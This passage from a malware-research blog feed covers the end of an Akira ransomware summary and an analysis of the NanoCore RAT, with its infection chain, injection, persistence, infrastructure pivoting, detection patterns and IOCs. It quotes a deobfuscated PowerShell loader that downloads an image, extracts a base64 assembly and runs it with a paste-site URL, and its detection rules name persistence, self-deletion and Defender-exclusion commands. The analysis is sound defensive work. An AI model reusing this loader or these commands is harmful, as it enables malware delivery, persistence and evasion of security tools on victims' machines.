&lt;p&gt;The malware has also undergone significant changes over time. However, as we will see below, its core functionality has not varied greatly. It retains various capabilities such as controlling disk drives, managing running processes, multi-threaded operation, and, of course, encrypting files and writing ransom notes on the victim’s devices&lt;/p&gt;
&lt;p&gt;Akira maintains a close relationship with Conti, the ransomware used by WizardSpider. In fact, the code of Akira’s ransomware in some parts is an evolution or another version of the famous ransomware used by the Russian group. Therefore, the community often considers Akira a subgroup of WizardSpider. Additionally, Akira has also been seen to have a close relationship with anothers famous ransomware gangs like BlackByte, Lockbit or Snatch&lt;/p&gt;</summary>
    
    
    
    <category term="Report" scheme="https://rexorvc0.com/categories/Report/"/>
    
    
    <category term="Malware" scheme="https://rexorvc0.com/tags/Malware/"/>
    
    <category term="Ransomware" scheme="https://rexorvc0.com/tags/Ransomware/"/>
    
    <category term="Pivoting" scheme="https://rexorvc0.com/tags/Pivoting/"/>
    
    <category term="TA" scheme="https://rexorvc0.com/tags/TA/"/>
    
  </entry>
  
  <entry>
    <title>NanoCore Update</title>
    <link href="https://rexorvc0.com/2024/03/25/NanoCore_Update/"/>
    <id>https://rexorvc0.com/2024/03/25/NanoCore_Update/</id>
    <published>2024-03-25T07:00:00.000Z</published>
    <updated>2025-03-30T20:22:28.683Z</updated>
    
    <content type="html"><![CDATA[<h1 id="Overview"><a href="#Overview" class="headerlink" title="_Overview"></a>_Overview</h1><p>📡This is not a déjà vu, this is an update and improvement of the <a href="https://rexorvc0.com/2021/10/28/NanoCore/">NanoCore</a> which I looked at years ago because my analysis seems to me very incomplete, and in addition we see how it has evolved and new versions of this malware have been released📡</p><p>NanoCore (also known as Nancrat) is considered a RAT (Remote Admin Tool), which is used to obtain relevant information from victims such as data from the affected computer, camera captures, keyboard input, etc. It also serves as remote control for the attacker, who will have the ability to manipulate the system, remotely execute scripts, etc.</p><p>It first appeared in 2012, and its author was sentenced to over two years in prison in 2017. The code for NanoCore has been leaked on several occasions throughout its versions, allowing different criminal groups like APT to use it at some point, potentially refining or adding functionalities. And undoubtedly, it has also been used by countless Script Kiddies.</p><p>NanoCore, therefore, has been used in a multitude of ways and has been notably seen in Spear-Phishing, where it is introduced in a document or in a ZIP&#x2F;RAR file that triggers the execution of a loader or another malware that runs it. However, it has also been observed in the download of links for some software, trying to appear as a legitimate program, which ends up in the same situation as a download of a script or a ZIP containing a NancRAT loader.</p><p>As mentioned earlier, NanoCore has been used by various groups, which, given the functionality of the malware, would act in the intermediate phase of the attack where they already have access to the infrastructure and want relevant information and the ability to freely access it. Although a large number of campaigns using NanoCore in conjunction with other malware that could not be attributed have been seen, there is evidence of groups that have historically been seen using NanoCore:</p><ul><li>APT33 | RefinedKitten (🇮🇳)</li><li>Gorgon Group (🇵🇰)</li><li>Vendetta (🇹🇷)</li><li>TA2719 (🏴)</li><li>TA2722 (🏴)</li><li>Aggah (🏴)</li></ul><span id="more"></span><br><h1 id="Technical-Analysis"><a href="#Technical-Analysis" class="headerlink" title="_Technical Analysis"></a>_Technical Analysis</h1><p>As I mentioned earlier, actors often deploy NanoCore in different ways, although the most typical ones are the aforementioned Spear-Phishing where the file download is usually a ZIP&#x2F;RAR or a document that will subsequently initiate the download or extract the RAT loader. A large number of these malware have been analyzed to understand how current versions work (not only NanoCore itself, but also the previous loaders that try to prevent you from knowing the real functionality). Therefore, the most common action after the execution of this step prior to the RAT is usually, depending on versions, the creation of auxiliary files or copies of itself in temporary paths and&#x2F;or the injection of NanoCore into dropped files or simply into .NET-related software, which, once here, can work more freely. At different points, it will have the ability to create persistence in tasks or in registries and obtain basic information from the affected device that will be sent to the C&amp;C.</p><p>As always, a representative view of most versions I have seen in the form of a graph that I hope will be useful is as follows:</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/88dd235a-5b70-4e23-9bf7-564cf19777d7" alt="image"></p><p>As I mentioned, this is just a representative version because if we look at the execution, everything some of the samples do is quite chaotic, but we’ll address it shortly.</p><p>Although the main NanoCore is in .NET, the loaders are usually also in .NET or, failing that, in C++ or script format, with VBS being the most commonly seen.</p><p>As I mentioned, in the initial stages, it usually starts with Spear-Phishing, but I’ll skip this part as I have analyzed many docs in the past, and we’ll move on to the next phase where we already have a loader. Here, for example, we find .NET, unobfuscated or obfuscated depending on the version.</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/8716b794-2ba2-4c56-83ba-22daf27d8adf" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/0f142552-ea4b-40e1-8e07-43a6475a357c" alt="image"></p><p>The truth is that they are really similar, and once deobfuscated, the versions are quite similar to each other (Green&#x3D;Before, Red&#x3D;After).</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/b33699ca-aa2f-42a3-8352-d88854abebd6" alt="image"></p><p>In these executions, we often see similar execution patterns where the main binary spawns a copy of itself and executes various commands using cmd.</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/9a4519cf-d8c7-4a33-a2fb-040fb2ce71af" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/fab3c010-7e96-4dfe-9d50-f421f6fece20" alt="image"></p><p>This first layer actually has a clear objective, which is to extract another binary, which will be the injector, whose code is usually obfuscated in some way, but the good thing is that they haven’t been very clever, and the base64 could be easily extracted</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/83593b2d-de76-4648-a222-48f883120299" alt="image"></p><p>Let me show you in detail what happens here by extracting it from memory</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/ebbed2d7-ff73-4ee7-a783-0d1e705a21a3" alt="image"></p><p>It actually didn’t make sense to extract it from memory because I was going to write it to a txt, but the excitement got to me (I have to be less geeky). So we see the content, and it indeed matched what I had extracted from memory and what I was writing to disk in the temporary folder</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/99a185eb-08a5-4f8f-a3e6-93b912adc79d" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/d409adf8-65e8-43fe-8219-986e2cc59fd1" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/d714c96e-f98a-40fb-95c8-ac9b78f87242" alt="image"></p><p>This binary (.NET) is quite easily recognizable as the injector due to the functions it contains. Furthermore, we can see that once again, they like to use Process Hollowing (But we’ll get to this layer later)</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/fa7a5932-242d-4c5d-a1e7-900b581a2360" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/3a788ecc-005b-41f3-a575-58581bf69631" alt="image"></p><p>Something not all versions do is have a compilation phase. So, we can see that sometimes at this point, the binary that has been dropped in text format is passed through CSC + CVTRES. The summary of the operation would be the following graph, in which we can observe how it collects the txt that it just wrote and compiles it, getting it ready</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/c118ab16-9008-4660-84dc-75112696ff39" alt="image"></p><p>I haven’t found too many samples with this section, so I found it interesting. In other versions, directly from memory, they perform the injection by extracting NanoCore. The truth is that the first layer doesn’t have much more to it. Depending on the versions, it prepares the injector or does what we just saw and prepares the next phase.</p><p>Following with this point, what’s extracted in memory, NanoCore has the ability to create persistence. So, we can see how, through cmd.exe, it executes a reg add to create an entry in CurrentVersion\RUN. Here, it’s common to find different duplications or copies of the loader binary in different folders. I understand they want to maximize persistence, so they persist differently and with identical files in different paths</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/15ed085c-2797-4212-8256-2b47dcbf86a6" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/bea76f15-9cfe-40e2-9ec5-ed9c4b24944c" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/df55db5a-c810-4569-a411-5c138b263a91" alt="image"></p><p>A graph of persistence is as follows:</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/92377137-02ad-45e6-940c-e84e3177b608" alt="image"></p><p>In one of these paths, where it has dropped a copy of the original binary, we find the typical .dat file, which is quite characteristic of NanoCore.</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/a6ede0ed-8888-40be-a7bf-22f3a94f5023" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/ccf080b4-959a-4ef1-bd6a-eb4de99d7d5e" alt="image"></p><p>In addition to all this, this binary has other capabilities such as downloading other binaries or checking privileges</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/c7730012-51d4-405f-9b93-2afbc027be24" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/b7536bd8-9988-44f5-ba43-9fab48a82c41" alt="image"></p><p>But the most important thing about this is really the injection because it will first have a module to see where it will host the next block of code. As we can see, it’s not very original, as most RATs that perform injection do it on these processes or on themselves (either in the form of executing a dropped copy or by extracting another thread from the main process when injected)</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/b3e15cd9-ac66-4e11-82ba-8c69479a3151" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/adb56ca6-fd04-408f-a281-c314c9861068" alt="image"></p><p>Before getting into the graph, it’s worth mentioning that it’s quite common for NanoCore to host it as another resource or it may have it obfuscated in memory and extract it at runtime before injection. Given what we’ve seen, we can already guess that what it’s going to inject is NanoCore.</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/76057268-b2c5-4e7e-be75-b63a51c94630" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/fc4d1b80-7cf5-46c5-abbf-c3e97816ec8e" alt="image"></p><p>It’s important to note that in most of the samples I’ve analyzed, at some point, whether in the script, in the C++ or .NET prior, or the injector or NanoCore itself, it’s obfuscated in some way to complicate analysis. So, the NanoCore client won’t be an exception (Green&#x3D;After, Red&#x3D;Before -I don’t know why I’ve done it the other way round here-)</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/63b9bb09-326b-4563-88c6-f3a7c7ba090d" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/bef03055-435c-4cbf-aee9-bfcb3cd681aa" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/1c076e34-3668-4c34-8f6b-8151510d9092" alt="image"></p><p>The explanatory graph of the injection (Sorry if I haven’t explained here how Process Hollowing works but I’ve already explained it in other posts and I think I’m a bit annoying, you can find it in <a href="https://rexorvc0.com/2022/08/29/SmokeLoader/">SmokeLoader</a>):</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/0a156774-0757-40e7-b097-f60cc236a15f" alt="image"></p><p>Moving on to the third layer, we would have NanoCore, whose functionalities are very varied and also depend on the version.</p><p>What we can see more immediately is the self-deletion we mentioned earlier, which it does to itself (as well as killing the main process) in some versions because it no longer needs it. It has it distributed in different folders and has already created persistence. It’s injected into another process, so in case something fails or the device shuts down, the execution chain would restart, and it would inject one of the processes we’ve seen before, and we’d be back to the same point</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/23c11a57-ce02-4238-aaee-164d022c9a04" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/3d62384c-5df8-4531-9e1a-c290a61d25b1" alt="image"></p><p>For you to see it in conjunction, the deletion process:</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/6fc11fce-3f1a-451d-bc01-152132eec654" alt="image"></p><p>It has different capabilities such as downloading, establishing connections, controlling registries and folders, acting as a keylogger, creating more persistence, etc.</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/11e7a351-7e42-42bb-abcd-9ac2b7db7242" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/99eaf49f-0333-453e-b969-8094898b8f6e" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/fa1760cd-ca15-464c-bb2a-9b070a61b7c5" alt="image"></p><p>I didn’t want to introduce other versions during the explanation because I think it complicates comprehension, but for you to compare with another sample and see that in the end, it does the same thing but with a different path.</p><p>Here we would have another sample in C++</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/4ef39a25-997b-4d59-9dcd-61caf0279571" alt="image"></p><p>We can see that the processes it follows are similar even though the compilation is different. We see how it extracts a binary, which would be the injector.</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/a668c4be-c119-4121-9c99-568698e23bdf" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/60cddc4a-bae8-4642-93d1-42cd51f158fa" alt="image"></p><p>It also performs deobfuscation tasks where (As I mentioned earlier, it always does something like this in one of the phases) it deobfuscates the imports of the binary it’s going to use in memory. This isn’t so strange because it’s actually done so that when you run “strings” you don’t see other referenced imports and libraries, or simply because if you’re analyzing statically, you don’t notice that it might be something interesting</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/9a1c741f-1909-4248-abda-fb6df3f90e64" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/1829349e-403b-42a9-9ebb-b4694b9c9a73" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/cbb7c8b0-9eaa-40cd-aefd-f6f4156a5690" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/342fb820-8b23-47e6-bbcb-968125c40de5" alt="image"></p><p>We really see that it does the same thing, an execution of an MSBuild that creates it in a suspended state because it injects the NanoCore code using Process Hollow</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/622e7d5e-a73b-444d-b771-7ec5eebb616d" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/c9c82214-4677-4114-963d-83ea5a062c47" alt="image"></p><p>What it injects in the end is, as you can see, the same, even though the NanoCore isn’t the same and the path isn’t either, it’s VERY similar, and we end up in the same place.</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/c2b6fed8-44df-4f00-91ff-456987dbc883" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/2a388a00-5a46-43fe-bb0c-29019f098d8e" alt="image"></p><p>Once again, we have to deobfuscate it to extract it</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/e8b403b0-c8bf-4dc2-8106-3fb6f4ceed71" alt="image"></p><p>In script versions, we could say that we simply add one more layer to the previous version where an obfuscated VBS performs a normal download or simply deobfuscates the code of the first layer we analyzed before, which could be a .NET or a C++ that would act as a loader.</p><p>Here we can see the execution of a deobfuscated VBS that actually leads us to the download of the code that will simply position us in layer number 1 again. This code reminded me a lot of the BlindEagle campaign from last year because of the use of PNG + Pastebin</p><pre class="line-numbers language-none"><code class="language-none">$imageUrl &#x3D; &#39;https:&#x2F;&#x2F;wallpapercave[.]com&#x2F;uwp&#x2F;uwp4203994[.]png&#39;;$webClient &#x3D; New-Object System.Net.WebClient;$imageBytes &#x3D; $webClient.DownloadData($imageUrl);$imageText &#x3D; [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag &#x3D; &#39;&lt;&lt;BASE64_START&gt;&gt;&#39;;$endFlag &#x3D; &#39;&lt;&lt;BASE64_END&gt;&gt;&#39;;$startIndex &#x3D; $imageText.IndexOf($startFlag);$endIndex &#x3D; $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex +&#x3D; $startFlag.Length;$base64Length &#x3D; $endIndex - $startIndex;$base64Command &#x3D; $imageText.Substring($startIndex, $base64Length);$commandBytes &#x3D; [System.Convert]::FromBase64String($base64Command);$loadedAssembly &#x3D; [System.Reflection.Assembly]::Load($commandBytes);$type &#x3D; $loadedAssembly.GetType(&#39;Aspose.DrawingSpec.PkikAttrCertNB&#39;);$method &#x3D; $type.GetMethod(&#39;Run&#39;).Invoke($null, [object[]] (&#39;https:&#x2F;&#x2F;paste[.]ee&#x2F;d&#x2F;0VD04&#x2F;0&#39; , &#39;desativado&#39; , &#39;2&#39; , &#39;VbsName&#39; , &#39;1&#39; , &#39;C:\ProgramData\&#39;, &#39;LnkName&#39;,&#39;MSBuild&#39;,&#39;desativado&#39;,&#39;desativado&#39;,&#39;desativado&#39;))<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/d610cbae-ce0f-41bc-b4bd-306cc8aa4fbc" alt="image"></p><p>I didn’t want to delve deeper because I realized when I was analyzing some VBS samples that Matthew (@embee_research) had done this work relatively recently, so I can’t see a better way to understand it than to watch his video. Great job, dude!</p><p><a href="https://www.youtube.com/watch?v=NVnJImFm6P8">VBS Decoding With Cyberchef (Nanocore Loader)</a></p><p>After this, we only need to see how it behaves at the network level, but as it’s a RAT, obviously it simply sends requests and waits for responses from the C&amp;C, but it helps us collect IOCs</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/1e6a1c33-71d6-4f44-ab84-0a1854d1d143" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/2f7515da-8e62-4571-9d28-164769af1e35" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/62d992b7-8fcb-4628-b0e7-c84458802ff8" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/38370255-b7fb-43a0-8744-32dcee3451e6" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/8cc535af-e1cb-4308-8600-0fad30023da2" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/4d0a3dc5-9a17-4ae5-a7a2-22ad1043ce07" alt="image"></p><p>An example of all these versions in a cooler&#x2F;hacker view</p><ul><li>.NET</li></ul><pre class="line-numbers language-none"><code class="language-none">.├ Principal binary .NET (NanoCore Loader)├---Writes the injector in temp path (Contains NanoCore in Rsrc)├------Compile injector├-----------Persistence├----------------AutoDelete├----------------------Load Rsrc (NanoCore)├------------------------------Injection over itself or .NET sw├---------------------------------------C&amp;C connection<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><ul><li>C++</li></ul><pre class="line-numbers language-none"><code class="language-none">.├ Principal binary C++ (NanoCore Loader)├-----------Persistence├----------------AutoDelete (Not all)├----------------------Load Rsrc Or Mem (NanoCore)├------------------------------Injection over itself or .NET sw├---------------------------------------C&amp;C connection<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><ul><li>Script</li></ul><pre class="line-numbers language-none"><code class="language-none">.├ Principal VBS (Obfuscated)├---Wscript├------Powershell execution├-----------Obtain .NET from external web├----------------Create&#x2F;Copy&#x2F;Move script in tmp├----------------------Persistence├--------------------------Load .NET (NanoCore)├--------------------------------Injection over itself or .NET sw├-----------------------------------------C&amp;C connection<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>At this point in NanoCore, it would already be installed, it would have persistence, and certainly it would be injected into a process that at first glance shouldn’t be found, so the attacker would already have the ability to connect to our device and work with it, pivot to other teams, etc</p><br><h1 id="NanoCore-versions-comparision"><a href="#NanoCore-versions-comparision" class="headerlink" title="_NanoCore versions comparision"></a>_NanoCore versions comparision</h1><p>At this point, I encountered different versions of NanoCore, as there are several variants in the wild, so I was curious to see if they differed significantly from each other.</p><p>At first glance, it didn’t seem like they were very similar.</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/90e22bac-f341-41a1-914c-1e9660205348" alt="image"></p><p>But breaking down the clients, we can see that they actually have almost the same functions.</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/7b4a8a0e-3ccd-4a45-abdc-1019bbfe2dc0" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/347ec83c-8691-4e65-aaf8-bfbfa06bcbb6" alt="image"></p><p>The versions that were most repeated, as you can see, are 1.2.2.0 and 1.2.2.2. Both in functionality and in features, they are practically identical</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/d1138e20-0f07-4f6a-ad51-094fab4d05fb" alt="image"></p><p>We can see that where one is called GClass1, the equivalent in another version is GClass8, but the functionality is the same and the work it performs is also similar</p><p><img src="https://github.com/xrT90/xrT90.github.io/assets/135811076/2156be8e-e6d5-4413-a7dc-91824a477d4e" alt="image"></p><p>The functionality of each function itself has been discussed earlier. It has the ability to delete, create users, act as a keylogger, turn on cameras, obtain files, logs, etc., but I think it will be better and more representative to see it in the following section.</p><br><h1 id="Intelligence"><a href="#Intelligence" class="headerlink" title="_Intelligence"></a>_Intelligence</h1><p>It is always important to be aware of what is happening, what is being discussed, or the trends of actors or, in this case, the malware that concerns us.</p><p>So we find people in underground forums selling or giving access to tools, among which NanoCore is included</p><p><img src="https://github.com/xrT90/xrT90.github.io/assets/135811076/e5fcd8b6-ded3-4c14-9b65-0cd134f4c44b" alt="image"></p><p>We can also see people who want to understand or who have problems using NanoCore, or basically people recognizing the user because they had caught them attacking with a NanoCore (How crazy are these blogs :D).</p><p><img src="https://github.com/xrT90/xrT90.github.io/assets/135811076/6fd7a967-4133-4f3c-953c-f56a7797eedf" alt="image"></p><p>At other times, we find people sharing the status of their NanoCore with affected computers, asking about its operation</p><p><img src="https://github.com/xrT90/xrT90.github.io/assets/135811076/5c23b227-c67e-42a6-b2a3-4e09c5ea55dc" alt="image"></p><p>On the other hand, we find various versions of NanoCore in forums and blogs where we can see more visually how it works.</p><p>First, it allows us to create the builder, which will carry the general connection characteristics it will have</p><p><img src="https://github.com/xrT90/xrT90.github.io/assets/135811076/0e748de6-9242-41d2-9725-d000fdecad3d" alt="image"></p><p>Once a computer is infected (obviously, this is for academic use only; nobody should try it with another person), we can find it in our panel</p><p><img src="https://github.com/xrT90/xrT90.github.io/assets/135811076/1276d0bf-26b9-439c-9aa7-6b61eb7d4dd6" alt="image"></p><p><img src="https://github.com/xrT90/xrT90.github.io/assets/135811076/7df1c568-4b40-4a69-8a46-f684f8ec1eb7" alt="image"></p><p>In this panel, we will be able to access the functionalities we had seen earlier</p><p><img src="https://github.com/xrT90/xrT90.github.io/assets/135811076/a60eed3c-0367-4659-86bd-e2706d731509" alt="image"></p><p>You can do almost anything you can think of since you can control processes, files, users, logs, peripherals, launch commands, so it is an incredible support point to move through the network or simply to have control over devices. A summary of everything it can do would be as follows:</p><p><img src="https://github.com/xrT90/xrT90.github.io/assets/135811076/3c23261d-eb29-429c-bca8-b9e3c26b2e73" alt="image"></p><h2 id="Pivoting"><a href="#Pivoting" class="headerlink" title="_Pivoting"></a>_Pivoting</h2><p>At this point, I had collected a large number of IOCs, so although they are not from a specific incident, and it will be observed that they belong to different actors or attackers due to the significant difference in their infrastructure used, I believe it is always a good point and an essential source of knowledge to understand how TA&#x2F;APTs have reached our infrastructure or what infrastructure they are using to establish communication or C&amp;C. Therefore, this section, which I have learned and improved thanks to people like Michael <a href="https://twitter.com/MichalKoczwara">@MichalKoczwara</a> or Joshua <a href="https://twitter.com/josh_penny">@josh_penny</a>, where we can see great work at <a href="https://twitter.com/Intel_Ops_io">@Intel_Ops_io</a>, it’s amazing, thanks guys!</p><p>NanoCore has recently been trending with the use of dynamic domain name system (ddns) domains for C&amp;C communications, which always makes tracking a bit more difficult. I think it is a good point to know a little more about this, and I just found a post from someone who explains it much better than I could, thanks John <a href="https://twitter.com/Abjuri5t">@Abjuri5t</a> <a href="https://medium.com/@the_abjuri5t/nanocore-rat-hunting-guide-cb185473c1e0">NanoCore RAT Hunting Guide</a>.</p><p>Starting from an IP I found while analyzing samples, I found one hosted in the Netherlands whose ISP is Limenet. Pivoting, I found a large number of these hosted in Bulgaria, whose IPs in most cases were reported and related to NanoCore or other RATs. As I mentioned in previous points, attackers used other malware either to launch NanoCore or, depending on the victim, they used other RATs</p><p><img src="https://github.com/xrT90/xrT90.github.io/assets/135811076/3287bf58-460c-4aed-9c99-e0c7b2a9f459" alt="image"></p><p>Starting from another IP in Vietnam, I found through the ISP and port 137 others related to other RATs and NanoCore</p><p><img src="https://github.com/xrT90/xrT90.github.io/assets/135811076/2df51873-92a6-4ef6-b157-c19241f70454" alt="image"></p><p>I also found, by hash, by OS, or by ports, whose product was classified as NanoCore, another batch of related IPs, some of which were classified as NanoCore, although others were not even reported yet</p><p><img src="https://github.com/xrT90/xrT90.github.io/assets/135811076/b1e4736d-8ffe-49be-b722-f16a4a40ce6f" alt="image"></p><p>The pivoting has been really long because I have found from where to pull other IPs that led me to other IPs and other hypotheses from where to pull the thread, like the one I am showing you right now from Sweden, all of which were self-signed and belonged to the same ISP</p><p><img src="https://github.com/xrT90/xrT90.github.io/assets/135811076/e4edff1f-e524-4fcb-900e-155dce4f2bb4" alt="image"></p><p><img src="https://github.com/xrT90/xrT90.github.io/assets/135811076/2fd41044-4447-4115-8137-0eb8335e272c" alt="image"></p><p><img src="https://github.com/xrT90/xrT90.github.io/assets/135811076/f8c988e2-c7e0-4681-a900-d7b59bf488b6" alt="image"></p><p>In conclusion, pivoting is really useful, and I recommend that you perfect it if, like me, you also like to know who is behind the attacks and from where they are spreading their tentacles.</p><p>Finally, I would like to thank you for reading this research and for supporting me :)</p><br><h1 id="Detection-opportunities"><a href="#Detection-opportunities" class="headerlink" title="_Detection opportunities"></a>_Detection opportunities</h1><br><p>Persistence</p><ul><li>[TA0003][T1547.001] Persistence using dropped files with reg.exe</li></ul><pre class="line-numbers language-none"><code class="language-none">(Command) *cmd.exe*&#x2F;c*reg add*\Software\Microsoft\Windows\CurrentVersion\Run*&#x2F;f &#x2F;v*&#x2F;t REG_SZ &#x2F;d*(Registry) *\SOFTWARE\Microsoft\Windows\CurrentVersion\Run &gt; (RegName) NAT Host | sys-win32 &gt; (RegData) *NAT Host* | *\Documents\*.exe<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><ul><li>[TA0003][T1053] Persistence on tasks using tmp dropped file</li></ul><pre class="line-numbers language-none"><code class="language-none">(Command) schtasks.exe*&#x2F;create &#x2F;f &#x2F;tn*Host*&#x2F;xml*AppData*.tmp*<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><br><p>Defense Evasion</p><ul><li>[TA0005][T1070.004] Delete principal binary and kill process with cmd</li></ul><pre class="line-numbers language-none"><code class="language-none">(Command) *cmd.exe*&#x2F;C taskkill &#x2F;f &#x2F;im*&amp; ping -n 1 -w 3000 1.1.1.1 &amp; type nul &gt;*&amp; del &#x2F;f &#x2F;q*<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><ul><li>[TA0005][T1562] Create exclusion path in dropped files folders</li></ul><pre class="line-numbers language-none"><code class="language-none">(Command) *powershell.exe*Add-MpPreference -ExclusionPath*-Force<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><ul><li>[TA0005][T1055.012] Process injection over .NET files, taskmgr or itself</li></ul><pre class="line-numbers language-none"><code class="language-none">From unk file &gt; injection &gt; MSBuild  | RegAsm |  vbc | cvtres | applaunch | taskmgr | same unk proc.<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><br><p>Collection</p><ul><li>[TA0009][T1074] Create a .dat file in temporary file with CLSID pattern</li></ul><pre class="line-numbers language-none"><code class="language-none">(Folder Regex) \\AppData\\Roaming\\.*\w&#123;8,9&#125;\-\w&#123;3,4&#125;\-\w&#123;3,4&#125;\-\w&#123;3,4&#125;\-\w&#123;9,13&#125;  &gt; (File Write into prev. path) run.dat<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><br><p>Command &amp; Control</p><ul><li>[TA0011][T1568] Connection via injected process to a DDNS</li></ul><pre class="line-numbers language-none"><code class="language-none">Unk proc injected | .NET injected &gt; External conection &gt; (Domain) *.ddns* | *duckdns* | *hopto*<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><br><h1 id="IOC"><a href="#IOC" class="headerlink" title="_IOC"></a>_IOC</h1><ul><li>Hash</li></ul><pre class="line-numbers language-none"><code class="language-none">B0E8EDEB5CBF2DF69257C01F323E9EB8206547178c018a7f4db353375eb0f8e618a14e17a10caea0050d85f6d977f58fB3CFEBDCB947EB0E4535AE55139ED7F7B501CEF7B6C863A20ADD0EB45D69FD380531AEDA97ECFBB12A8CC39DA530877B64856b16c1282d184f528bbbf603af922BCAB6A5802BFBFF17223862CBDB10E731deabb123e9965fbc81236113dfad080f41a135573fcbcc4f1b36684527438a2bcab6a5802bfbff17223862cbdb10e77b249a96beab0ab4154778013da0071d49fa1594271555f95aa333030802dea06b1adef13c5f6eddb7d995999ba1d406<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><br><ul><li>IP&#x2F;Domain</li></ul><p>High: Those I have found from samples or pivoting from NanoCore by launching requests to these domains&#x2F;Ips</p><p>Medium: Pivoted IP&#x2F;Domains that are related to other malware and potentially with NanoCore</p><p>Low: Very similar IFRs that are related to other malicious malwares</p><pre class="line-numbers language-none"><code 